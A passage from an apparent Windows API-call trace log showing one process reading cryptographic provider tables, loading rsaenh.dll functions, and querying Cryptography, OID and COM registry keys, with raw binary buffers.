x18\x12\x00\x00\x0c\xe0\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00D\xe7\x02\x00\xd0\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\xea\x02\x00\x00\xea\x02\x00\xe0\xe9\x02\x00\xc2\xe9\x02\x00\xa6\xe9\x02\x00\x8a\xe9\x02\x00 FileHandle => 0x000000dc	SUCCESS	0x00000000
09:12:11,124	972	NtReadFile	Buffer => \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00FL\x01h\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00J\xdd\xa2,y\xe8!\x05\xd4\x13\x00h\xc0\x13\x00h\xbc\x13\x00h\xa8\x13\x00h\x94\x13\x00h\xbc\x13\x00h\x80\x13\x00hl\x13\x00h\xbc\x13\x00hX\x13\x00hH\x13\x00h FileHandle => 0x000000dc	SUCCESS	0x00000000
09:12:11,124	972	NtReadFile	Buffer => m (SHA-1)\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x80\x00\x00\x80\x00\x00\x00\x80\x00\x00\x00\x80\x00\x00\x00 \x00\x00\x00\x04\x00\x00\x00MD2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x17\x00\x00\x00Message Digest 2 (MD2)\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x80\x00\x00\x80\x00\x00\x00\x80\x00\x00\x00\x80\x00\x00\x00 \x00\x00\x00\x04\x00\x00\x00MD4\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x17\x00\x00\x00Message Digest 4 (MD4)\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x80\x00\x00\x80\x00\x00\x00\x80\x00\x00\x00\x80\x00\x00\x00 \x00\x00\x00\x04\x00\x00\x00MD5\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x17\x00\x00\x00Message Dige FileHandle => 0x000000dc	SUCCESS	0x00000000
09:12:11,124	972	NtReadFile	Buffer => \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x18\x00\x00\x00RSA Data Security's RC4\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01f\x00\x008\x00\x00\x008\x00\x00\x008\x00\x00\x00\x0f\x00\x00\x00\x04\x00\x00\x00DES\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1f\x00\x00\x00Data Encryption Standard (DES)\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 f\x00\x00p\x00\x00\x00p\x00\x00\x00p\x00\x00\x00\x0f\x00\x00\x00 \x00\x00\x003DES TWO KEY\x00\x00\x00\x00\x00\x00\x00\x00\x13\x00\x00\x00Two Key Triple DES\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03f\x00\x00\xa8\x00\x00\x00\xa8\x00\x00\x00\xa8\x00\x00\x00\x0f\x00\x00\x00 FileHandle => 0x000000dc	SUCCESS	0x00000000
09:12:11,124	972	NtQueryInformationFile	FileHandle => 0x000000dc FileInformation => \xd0\x10\x03\x00\x00\x00\x00\x00	SUCCESS	0x00000000
09:12:11,124	972	NtSetInformationFile	FileHandle => 0x000000dc FileInformation =>	SUCCESS	0x00000000
09:12:11,124	972	NtReadFile	Buffer => \x00\x01\x00\x00P\x01\x00\x00\x1c\x86V\xe4\x80\xb9\x0fs\x00\x007\x00C\x00A\x00P\x00I\x00:\x00 \x00T\x00h\x00e\x00 \x00i\x00n\x00s\x00t\x00a\x00l\x00l\x00 \x00p\x00r\x00o\x00g\x00r\x00a\x00m\x00 \x00c\x00o\x00u\x00l\x00d\x00 \x00n\x00o\x00t\x00 \x00o\x00p\x00e\x00n\x00 \x00s\x00i\x00g\x00n\x00a\x00t\x00u\x00r\x00e\x00 \x00f\x00i\x00l\x00e\x00?\x00C\x00A\x00P\x00I\x00:\x00 \x00T\x00h\x00e\x00 \x00i\x00n\x00s\x00t\x00a\x00l\x00l\x00 \x00p\x00r\x00o\x00g\x00r\x00a\x00m\x00 \x00c\x00o\x00u\x00l\x00d\x00 \x00n\x00o\x00t\x00 \x00g\x00e\x00t\x00 \x00t\x00h\x00e\x00 \x00s\x00i\x00z\x00e\x00 \x00o\x00f\x00 \x00R\x00s\x00a\x00b\x00a\x00s\x00e\x00.\x00s\x00i\x00 FileHandle => 0x000000dc	SUCCESS	0x00000000
09:12:11,124	972	NtReadFile	Buffer => \x07:\x0e:\x18:%:t:\x81:\x8f:\x9f:\xad:\xbb:\xc9:\xda:\xe8:\xf6:\x04;\x12; ;2;C;Q;\xa0;\xdb;\xe5;\xef;\xf9;\x10<\x17<'<4<M<T<a<l<~<\x85<\x8f<\x99<\xda<\xe7<\xf7<\x01=\x18=\x1f=/=:=Q=X=h=s=\x85=\x8c=\x96=\xa3=\xde=\xeb=\xfb=\x05>\x1c>#>3>>>R>Y>i>t>\x86>\x8d>\x97>\xa4>\xdf>\xe9>\xf9>\x03?\x17?$?4???S?Z?j?u?\x87?\x8e?\x98?\xa3?\xdc?\xe6?\xf6?\x00\x80\x01\x00\xe4\x01\x00\x00\x000\x170\x1e0.090L0W0g0r0\x840\x8b0\x950\xa20\xee0\xfa0\x081\x1e1(181F1W1d1t1\x821\x901\xa21\xaf1\xbd1\xcb102k2u2\x7f2\x892\xa02\xa72 FileHandle => 0x000000dc	SUCCESS	0x00000000
09:12:11,174	972	LdrLoadDll	Flags => 522784 BaseAddress => 0x68000000 FileName => rsaenh.dll	SUCCESS	0x00000000
09:12:11,174	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => CPAcquireContext FunctionAddress => 0x6800fb46 ModuleHandle => 0x68000000	SUCCESS	0x00000000
09:12:11,174	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => CPReleaseContext FunctionAddress => 0x6800f017 ModuleHandle => 0x68000000	SUCCESS	0x00000000
09:12:11,174	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => CPGenKey FunctionAddress => 0x6800afb1 ModuleHandle => 0x68000000	SUCCESS	0x00000000
09:12:11,174	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => CPDeriveKey FunctionAddress => 0x6800d086 ModuleHandle => 0x68000000	SUCCESS	0x00000000
09:12:11,174	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => CPDestroyKey FunctionAddress => 0x68009460 ModuleHandle => 0x68000000	SUCCESS	0x00000000
09:12:11,174	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => CPSetKeyParam FunctionAddress => 0x68009638 ModuleHandle => 0x68000000	SUCCESS	0x00000000
09:12:11,174	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => CPGetKeyParam FunctionAddress => 0x68009a22 ModuleHandle => 0x68000000	SUCCESS	0x00000000
09:12:11,184	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => CPExportKey FunctionAddress => 0x6800ba24 ModuleHandle => 0x68000000	SUCCESS	0x00000000
09:12:11,184	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => CPImportKey FunctionAddress => 0x6800bf8a ModuleHandle => 0x68000000	SUCCESS	0x00000000
09:12:11,184	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => CPEncrypt FunctionAddress => 0x68006c8e ModuleHandle => 0x68000000	SUCCESS	0x00000000
09:12:11,184	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => CPDecrypt FunctionAddress => 0x68007100 ModuleHandle => 0x68000000	SUCCESS	0x00000000
09:12:11,184	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => CPCreateHash FunctionAddress => 0x680074ba ModuleHandle => 0x68000000	SUCCESS	0x00000000
09:12:11,184	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => CPHashData FunctionAddress => 0x68007e56 ModuleHandle => 0x68000000	SUCCESS	0x00000000
09:12:11,184	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => CPHashSessionKey FunctionAddress => 0x68007fa0 ModuleHandle => 0x68000000	SUCCESS	0x00000000
09:12:11,184	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => CPDestroyHash FunctionAddress => 0x680082d1 ModuleHandle => 0x68000000	SUCCESS	0x00000000
09:12:11,184	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => CPSignHash FunctionAddress => 0x6800da22 ModuleHandle => 0x68000000	SUCCESS	0x00000000
09:12:11,184	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => CPVerifySignature FunctionAddress => 0x6800df0a ModuleHandle => 0x68000000	SUCCESS	0x00000000
09:12:11,184	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => CPGenRandom FunctionAddress => 0x6800d7a7 ModuleHandle => 0x68000000	SUCCESS	0x00000000
09:12:11,184	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => CPGetUserKey FunctionAddress => 0x68009562 ModuleHandle => 0x68000000	SUCCESS	0x00000000
09:12:11,184	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => CPSetProvParam FunctionAddress => 0x68009e6d ModuleHandle => 0x68000000	SUCCESS	0x00000000
09:12:11,184	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => CPGetProvParam FunctionAddress => 0x68009f9c ModuleHandle => 0x68000000	SUCCESS	0x00000000
09:12:11,184	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => CPSetHashParam FunctionAddress => 0x6800a56f ModuleHandle => 0x68000000	SUCCESS	0x00000000
09:12:11,184	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => CPGetHashParam FunctionAddress => 0x6800c891 ModuleHandle => 0x68000000	SUCCESS	0x00000000
09:12:11,184	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => CPDuplicateKey FunctionAddress => 0x6800aaae ModuleHandle => 0x68000000	SUCCESS	0x00000000
09:12:11,184	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => CPDuplicateHash FunctionAddress => 0x6800852e ModuleHandle => 0x68000000	SUCCESS	0x00000000
09:12:11,184	972	RegOpenKeyExA	Handle => 0x000000e0 Registry => 0x80000002 SubKey => Software\Microsoft\Cryptography	SUCCESS	0x00000000
09:12:11,184	972	RegQueryValueExA	Handle => 0x000000e0 DataLength => 37 ValueName => MachineGuid Type => 1	SUCCESS	0x00000000
09:12:11,184	972	RegQueryValueExA	Handle => 0x000000e0 Data => 99d6ed61-80b2-42d4-8c72-45c08cbdb8ae\x00 ValueName => MachineGuid	SUCCESS	0x00000000
09:12:11,194	972	RegCloseKey	Handle => 0x000000e0	SUCCESS	0x00000000
09:12:11,194	972	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x80000002 SubKey => Software\Microsoft\Cryptography\Offload	FAILURE	0x00000002
09:12:11,194	972	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x80000002 SubKey => Software\Microsoft\Cryptography\DESHashSessionKeyBackward	FAILURE	0x00000002
09:12:11,194	972	RegCloseKey	Handle => 0x000000d8	SUCCESS	0x00000000
09:12:11,194	972	RegOpenKeyExA	Handle => 0x000000d8 Registry => 0x80000002 SubKey => Software\Microsoft\Cryptography\OID	SUCCESS	0x00000000
09:12:11,194	972	RegEnumKeyExA	Index => 0 Handle => 0x000000d8 Name => EncodingType 0 Class =>	SUCCESS	0x00000000
09:12:11,194	972	RegOpenKeyExA	Handle => 0x000000e0 Registry => 0x000000d8 SubKey => EncodingType 0	SUCCESS	0x00000000
09:12:11,194	972	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x000000e0 SubKey => CryptDllDecodeObjectEx	FAILURE	0x00000002
09:12:11,194	972	RegCloseKey	Handle => 0x000000e0	SUCCESS	0x00000000
09:12:11,194	972	RegEnumKeyExA	Index => 1 Handle => 0x000000d8 Name => EncodingType 1 Class =>	SUCCESS	0x00000000
09:12:11,194	972	RegOpenKeyExA	Handle => 0x000000e0 Registry => 0x000000d8 SubKey => EncodingType 1	SUCCESS	0x00000000
09:12:11,194	972	RegOpenKeyExA	Handle => 0x000000dc Registry => 0x000000e0 SubKey => CryptDllDecodeObjectEx	SUCCESS	0x00000000
09:12:11,194	972	RegEnumKeyExA	Index => 0 Handle => 0x000000dc Name => 1.2.840.113549.1.9.16.1.1 Class =>	SUCCESS	0x00000000
09:12:11,194	972	RegOpenKeyExA	Handle => 0x000000e4 Registry => 0x000000dc SubKey => 1.2.840.113549.1.9.16.1.1	SUCCESS	0x00000000
09:12:11,194	972	RegQueryInfoKeyW	MaxClassLength => 0 MaxValueLength => 38 MaxValueNameLength => 8 ValueCount => 2 MaxSubKeyLength => 0 KeyHandle => 0x000000e4 SubKeyCount => 0 Class =>	SUCCESS	0x00000000
09:12:11,204	972	RegEnumValueW	Index => 0 Handle => 0x000000e4 Data => i\x00n\x00e\x00t\x00c\x00o\x00m\x00m\x00.\x00d\x00l\x00l\x00\x00\x00 ValueName => Dll	SUCCESS	0x00000000
09:12:11,204	972	RegEnumValueW	Index => 1 Handle => 0x000000e4 Data => E\x00s\x00s\x00R\x00e\x00c\x00e\x00i\x00p\x00t\x00D\x00e\x00c\x00o\x00d\x00e\x00E\x00x\x00\x00\x00 ValueName => FuncName	SUCCESS	0x00000000
09:12:11,204	972	RegCloseKey	Handle => 0x000000e4	SUCCESS	0x00000000
09:12:11,204	972	RegEnumKeyExA	Index => 1 Handle => 0x000000dc Name => 1.2.840.113549.1.9.16.2.1 Class =>	SUCCESS	0x00000000
09:12:11,204	972	RegOpenKeyExA	Handle => 0x000000e4 Registry => 0x000000dc SubKey => 1.2.840.113549.1.9.16.2.1	SUCCESS	0x00000000
09:12:11,204	972	RegQueryInfoKeyW	MaxClassLength => 0 MaxValueLength => 52 MaxValueNameLength => 8 ValueCount => 2 MaxSubKeyLength => 0 KeyHandle => 0x000000e4 SubKeyCount => 0 Class =>	SUCCESS	0x00000000
09:12:11,204	972	RegEnumValueW	Index => 0 Handle => 0x000000e4 Data => i\x00n\x00e\x00t\x00c\x00o\x00m\x00m\x00.\x00d\x00l\x00l\x00\x00\x00 ValueName => Dll	SUCCESS	0x00000000
09:12:11,204	972	RegEnumValueW	Index => 1 Handle => 0x000000e4 Data => E\x00s\x00s\x00R\x00e\x00c\x00e\x00i\x00p\x00t\x00R\x00e\x00q\x00u\x00e\x00s\x00t\x00D\x00e\x00c\x00o\x00d\x00e\x00E\x00x\x00\x00\x00 ValueName => FuncName	SUCCESS	0x00000000
09:12:11,204	972	RegCloseKey	Handle => 0x000000e4	SUCCESS	0x00000000
09:12:11,204	972	RegEnumKeyExA	Index => 2 Handle => 0x000000dc Name => 1.2.840.113549.1.9.16.2.11 Class =>	SUCCESS	0x00000000
09:12:11,214	972	RegOpenKeyExA	Handle => 0x000000e4 Registry => 0x000000dc SubKey => 1.2.840.113549.1.9.16.2.11	SUCCESS	0x00000000
09:12:11,214	972	RegQueryInfoKeyW	MaxClassLength => 0 MaxValueLength => 58 MaxValueNameLength => 8 ValueCount => 2 MaxSubKeyLength => 0 KeyHandle => 0x000000e4 SubKeyCount => 0 Class =>	SUCCESS	0x00000000
09:12:11,214	972	RegEnumValueW	Index => 0 Handle => 0x000000e4 Data => i\x00n\x00e\x00t\x00c\x00o\x00m\x00m\x00.\x00d\x00l\x00l\x00\x00\x00 ValueName => Dll	SUCCESS	0x00000000
09:12:11,214	972	RegEnumValueW	Index => 1 Handle => 0x000000e4 Data => E\x00s\x00s\x00K\x00e\x00y\x00E\x00x\x00c\x00h\x00P\x00r\x00e\x00f\x00e\x00r\x00e\x00n\x00c\x00e\x00D\x00e\x00c\x00o\x00d\x00e\x00E\x00x\x00\x00\x00 ValueName => FuncName	SUCCESS	0x00000000
09:12:11,214	972	RegCloseKey	Handle => 0x000000e4	SUCCESS	0x00000000
09:12:11,214	972	RegEnumKeyExA	Index => 3 Handle => 0x000000dc Name => 1.2.840.113549.1.9.16.2.12 Class =>	SUCCESS	0x00000000
09:12:11,214	972	RegOpenKeyExA	Handle => 0x000000e4 Registry => 0x000000dc SubKey => 1.2.840.113549.1.9.16.2.12	SUCCESS	0x00000000
09:12:11,214	972	RegQueryInfoKeyW	MaxClassLength => 0 MaxValueLength => 54 MaxValueNameLength => 8 ValueCount => 2 MaxSubKeyLength => 0 KeyHandle => 0x000000e4 SubKeyCount => 0 Class =>	SUCCESS	0x00000000
09:12:11,214	972	RegEnumValueW	Index => 0 Handle => 0x000000e4 Data => i\x00n\x00e\x00t\x00c\x00o\x00m\x00m\x00.\x00d\x00l\x00l\x00\x00\x00 ValueName => Dll	SUCCESS	0x00000000
09:12:11,214	972	RegEnumValueW	Index => 1 Handle => 0x000000e4 Data => E\x00s\x00s\x00S\x00i\x00g\x00n\x00C\x00e\x00r\x00t\x00i\x00f\x00i\x00c\x00a\x00t\x00e\x00D\x00e\x00c\x00o\x00d\x00e\x00E\x00x\x00\x00\x00 ValueName => FuncName	SUCCESS	0x00000000
09:12:11,214	972	RegCloseKey	Handle => 0x000000e4	SUCCESS	0x00000000
09:12:11,214	972	RegEnumKeyExA	Index => 4 Handle => 0x000000dc Name => 1.2.840.113549.1.9.16.2.2 Class =>	SUCCESS	0x00000000
09:12:11,214	972	RegOpenKeyExA	Handle => 0x000000e4 Registry => 0x000000dc SubKey => 1.2.840.113549.1.9.16.2.2	SUCCESS	0x00000000
09:12:11,214	972	RegQueryInfoKeyW	MaxClassLength => 0 MaxValueLength => 50 MaxValueNameLength => 8 ValueCount => 2 MaxSubKeyLength => 0 KeyHandle => 0x000000e4 SubKeyCount => 0 Class =>	SUCCESS	0x00000000
09:12:11,214	972	RegEnumValueW	Index => 0 Handle => 0x000000e4 Data => i\x00n\x00e\x00t\x00c\x00o\x00m\x00m\x00.\x00d\x00l\x00l\x00\x00\x00 ValueName => Dll	SUCCESS	0x00000000
09:12:11,214	972	RegEnumValueW	Index => 1 Handle => 0x000000e4 Data => E\x00s\x00s\x00S\x00e\x00c\x00u\x00r\x00i\x00t\x00y\x00L\x00a\x00b\x00e\x00l\x00D\x00e\x00c\x00o\x00d\x00e\x00E\x00x\x00\x00\x00 ValueName => FuncName	SUCCESS	0x00000000
09:12:11,214	972	RegCloseKey	Handle => 0x000000e4	SUCCESS	0x00000000
09:12:11,214	972	RegEnumKeyExA	Index => 5 Handle => 0x000000dc Name => 1.2.840.113549.1.9.16.2.3 Class =>	SUCCESS	0x00000000
09:12:11,224	972	RegOpenKeyExA	Handle => 0x000000e4 Registry => 0x000000dc SubKey => 1.2.840.113549.1.9.16.2.3	SUCCESS	0x00000000
09:12:11,224	972	RegQueryInfoKeyW	MaxClassLength => 0 MaxValueLength => 42 MaxValueNameLength => 8 ValueCount => 2 MaxSubKeyLength => 0 KeyHandle => 0x000000e4 SubKeyCount => 0 Class =>	SUCCESS	0x00000000
09:12:11,224	972	RegEnumValueW	Index => 0 Handle => 0x000000e4 Data => i\x00n\x00e\x00t\x00c\x00o\x00m\x00m\x00.\x00d\x00l\x00l\x00\x00\x00 ValueName => Dll	SUCCESS	0x00000000
09:12:11,224	972	RegEnumValueW	Index => 1 Handle => 0x000000e4 Data => E\x00s\x00s\x00M\x00L\x00H\x00i\x00s\x00t\x00o\x00r\x00y\x00D\x00e\x00c\x00o\x00d\x00e\x00E\x00x\x00\x00\x00 ValueName => FuncName	SUCCESS	0x00000000
09:12:11,224	972	RegCloseKey	Handle => 0x000000e4	SUCCESS	0x00000000
09:12:11,224	972	RegEnumKeyExA	Index => 6 Handle => 0x000000dc Name => 1.2.840.113549.1.9.16.2.4 Class =>	SUCCESS	0x00000000
09:12:11,224	972	RegOpenKeyExA	Handle => 0x000000e4 Registry => 0x000000dc SubKey => 1.2.840.113549.1.9.16.2.4	SUCCESS	0x00000000
09:12:11,224	972	RegQueryInfoKeyW	MaxClassLength => 0 MaxValueLength => 46 MaxValueNameLength => 8 ValueCount => 2 MaxSubKeyLength => 0 KeyHandle => 0x000000e4 SubKeyCount => 0 Class =>	SUCCESS	0x00000000
09:12:11,224	972	RegEnumValueW	Index => 0 Handle => 0x000000e4 Data => i\x00n\x00e\x00t\x00c\x00o\x00m\x00m\x00.\x00d\x00l\x00l\x00\x00\x00 ValueName => Dll	SUCCESS	0x00000000
09:12:11,224	972	RegEnumValueW	Index => 1 Handle => 0x000000e4 Data => E\x00s\x00s\x00C\x00o\x00n\x00t\x00e\x00n\x00t\x00H\x00i\x00n\x00t\x00D\x00e\x00c\x00o\x00d\x00e\x00E\x00x\x00\x00\x00 ValueName => FuncName	SUCCESS	0x00000000
09:12:11,224	972	RegCloseKey	Handle => 0x000000e4	SUCCESS	0x00000000
09:12:11,224	972	RegEnumKeyExA	Index => 7 Handle => 0x000000dc Name => 1.2.840.113549.1.9.16.2.4 Class =>	FAILURE	0x00000103
09:12:11,224	972	RegCloseKey	Handle => 0x000000dc	SUCCESS	0x00000000
09:12:11,224	972	RegCloseKey	Handle => 0x000000e0	SUCCESS	0x00000000
09:12:11,224	972	RegEnumKeyExA	Index => 2 Handle => 0x000000d8 Name => EncodingType 1 Class =>	FAILURE	0x00000103
09:12:11,224	972	RegCloseKey	Handle => 0x000000d8	SUCCESS	0x00000000
09:12:11,224	972	RegOpenKeyExA	Handle => 0x000000d8 Registry => 0x80000002 SubKey => Software\Microsoft\Cryptography\OID	SUCCESS	0x00000000
09:12:11,224	972	RegEnumKeyExA	Index => 0 Handle => 0x000000d8 Name => EncodingType 0 Class =>	SUCCESS	0x00000000
09:12:11,224	972	RegOpenKeyExA	Handle => 0x000000e0 Registry => 0x000000d8 SubKey => EncodingType 0	SUCCESS	0x00000000
09:12:11,234	972	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x000000e0 SubKey => CryptDllImportPublicKeyInfoEx	FAILURE	0x00000002
09:12:11,234	972	RegCloseKey	Handle => 0x000000e0	SUCCESS	0x00000000
09:12:11,234	972	RegEnumKeyExA	Index => 1 Handle => 0x000000d8 Name => EncodingType 1 Class =>	SUCCESS	0x00000000
09:12:11,234	972	RegOpenKeyExA	Handle => 0x000000e0 Registry => 0x000000d8 SubKey => EncodingType 1	SUCCESS	0x00000000
09:12:11,234	972	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x000000e0 SubKey => CryptDllImportPublicKeyInfoEx	FAILURE	0x00000002
09:12:11,234	972	RegCloseKey	Handle => 0x000000e0	SUCCESS	0x00000000
09:12:11,234	972	RegEnumKeyExA	Index => 2 Handle => 0x000000d8 Name => EncodingType 1 Class =>	FAILURE	0x00000103
09:12:11,234	972	RegCloseKey	Handle => 0x000000d8	SUCCESS	0x00000000
09:12:11,234	972	RegOpenKeyExA	Handle => 0x000000d8 Registry => 0x80000002 SubKey => Software\Microsoft\Cryptography\OID	SUCCESS	0x00000000
09:12:11,234	972	RegEnumKeyExA	Index => 0 Handle => 0x000000d8 Name => EncodingType 0 Class =>	SUCCESS	0x00000000
09:12:11,234	972	RegOpenKeyExA	Handle => 0x000000e0 Registry => 0x000000d8 SubKey => EncodingType 0	SUCCESS	0x00000000
09:12:11,234	972	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x000000e0 SubKey => CryptDllConvertPublicKeyInfo	FAILURE	0x00000002
09:12:11,234	972	RegCloseKey	Handle => 0x000000e0	SUCCESS	0x00000000
09:12:11,234	972	RegEnumKeyExA	Index => 1 Handle => 0x000000d8 Name => EncodingType 1 Class =>	SUCCESS	0x00000000
09:12:11,234	972	RegOpenKeyExA	Handle => 0x000000e0 Registry => 0x000000d8 SubKey => EncodingType 1	SUCCESS	0x00000000
09:12:11,234	972	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x000000e0 SubKey => CryptDllConvertPublicKeyInfo	FAILURE	0x00000002
09:12:11,234	972	RegCloseKey	Handle => 0x000000e0	SUCCESS	0x00000000
09:12:11,234	972	RegEnumKeyExA	Index => 2 Handle => 0x000000d8 Name => EncodingType 1 Class =>	FAILURE	0x00000103
09:12:11,234	972	RegCloseKey	Handle => 0x000000d8	SUCCESS	0x00000000
09:12:11,234	972	LdrGetDllHandle	ModuleHandle => 0x00000000 FileName => C:\WINDOWS\system32\rpcss.dll	FAILURE	3221225781	1 time
09:12:11,244	972	LdrLoadDll	Flags => 521332 BaseAddress => 0x5ad70000 FileName => C:\WINDOWS\system32\uxtheme.dll	SUCCESS	0x00000000
09:12:11,244	972	IsDebuggerPresent		FAILURE	0x00000000
09:12:11,244	972	LdrLoadDll	Flags => 521152 BaseAddress => 0x5ad70000 FileName => uxtheme.dll	SUCCESS	0x00000000
09:12:11,244	972	RegOpenKeyExW	Handle => 0x000000e0 Registry => 0x80000002 SubKey => Software\Microsoft\COM3	SUCCESS	0x00000000
09:12:11,244	972	RegQueryValueExW	Handle => 0x000000e0 Data => 1 ValueName => Com+Enabled	SUCCESS	0x00000000
09:12:11,244	972	RegCloseKey	Handle => 0x000000e0	SUCCESS	0x00000000
09:12:11,244	972	LdrLoadDll	Flags => 522420 BaseAddress => 0x76fd0000 FileName => CLBCATQ.DLL	SUCCESS	0x00000000
09:12:11,244	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => GetCatalogObject FunctionAddress => 0x76fd3f78 ModuleHandle => 0x76fd0000	SUCCESS	0x00000000
09:12:11,244	972	RegOpenKeyExW	Handle => 0x000000e0 Registry => 0x80000002 SubKey => Software\Microsoft\COM3	SUCCESS	0x00000000
09:12:11,244	972	RegQueryValueExW	Handle => 0x000000e0 Data => 1 ValueName => Com+Enabled	SUCCESS	0x00000000
09:12:11,244	972	RegCloseKey	Handle => 0x000000e0	SUCCESS	0x00000000
09:12:11,244	972	LdrLoadDll	Flags => 522420 BaseAddress => 0x76fd0000 FileName => CLBCATQ.DLL	SUCCESS	0x00000000
09:12:11,274	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => GetCatalogObject2 FunctionAddress => 0x76fd4017 ModuleHandle => 0x76fd0000	SUCCESS	0x00000000
09:12:11,274	972	LdrGetDllHandle	ModuleHandle => 0x774e0000 FileName => ole32.dll	SUCCESS	0x00000000
09:12:11,274	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => CLSIDFromOle1Class FunctionAddress => 0x775188b9 ModuleHandle => 0x774e0000	SUCCESS	0x00000000
09:12:11,274	972	NtOpenKey	DesiredAccess => 33554432 KeyHandle => 0x000000d8 ObjectAttributes => \Registry\User\S-1-5-21-1935655697-1606980848-1060284298-1003_Classes	SUCCESS	0x00000000
09:12:11,274	972	RegOpenKeyExW	Handle => 0x000000e0 Registry => 0x80000002 SubKey => Software\Classes	SUCCESS	0x00000000
09:12:11,274	972	RegOpenKeyExW	Handle => 0x000000e4 Registry => 0x80000002 SubKey => Software\Microsoft\COM3	SUCCESS	0x00000000
09:12:11,274	972	NtOpenKey	DesiredAccess => 16 KeyHandle => 0x000000ec ObjectAttributes => \REGISTRY\USER	SUCCESS	0x00000000
09:12:11,274	972	RegOpenKeyExW	Handle => 0x000000f4 Registry => 0x80000002 SubKey => Software\Classes	SUCCESS	0x00000000
09:12:11,274	972	NtOpenKey	DesiredAccess => 16 KeyHandle => 0x000000fc ObjectAttributes => \REGISTRY\USER	SUCCESS	0x00000000
09:12:11,274	972	RegOpenKeyExW	Handle => 0x00000104 Registry => 0x80000002 SubKey => Software\Microsoft\COM3	SUCCESS	0x00000000
09:12:11,284	972	RegOpenKeyExW	Handle => 0x0000010c Registry => 0x80000002 SubKey => Software\Microsoft\COM3	SUCCESS	0x00000000
09:12:11,284	972	RegOpenKeyExW	Handle => 0x00000114 Registry => 0x80000002 SubKey => Software\Classes\CLSID	SUCCESS	0x00000000
09:12:11,284	972	RegOpenKeyExW	Handle => 0x0000011c Registry => 0x80000002 SubKey => Software\Classes	SUCCESS	0x00000000
09:12:11,284	972	RegOpenKeyExW	Handle => 0x00000124 Registry => 0x80000002 SubKey => Software\Microsoft\COM3	SUCCESS	0x00000000
09:12:11,284	972	NtOpenKey	DesiredAccess => 16 KeyHandle => 0x0000012c ObjectAttributes => \REGISTRY\USER	SUCCESS	0x00000000
09:12:11,284	972	RegOpenKeyExW	Handle => 0x00000134 Registry => 0x80000002 SubKey => Software\Microsoft\COM3	SUCCESS	0x00000000
09:12:11,284	972	RegOpenKeyExW	Handle => 0x0000013c Registry => 0x80000002 SubKey => Software\Microsoft\COM3	SUCCESS	0x00000000
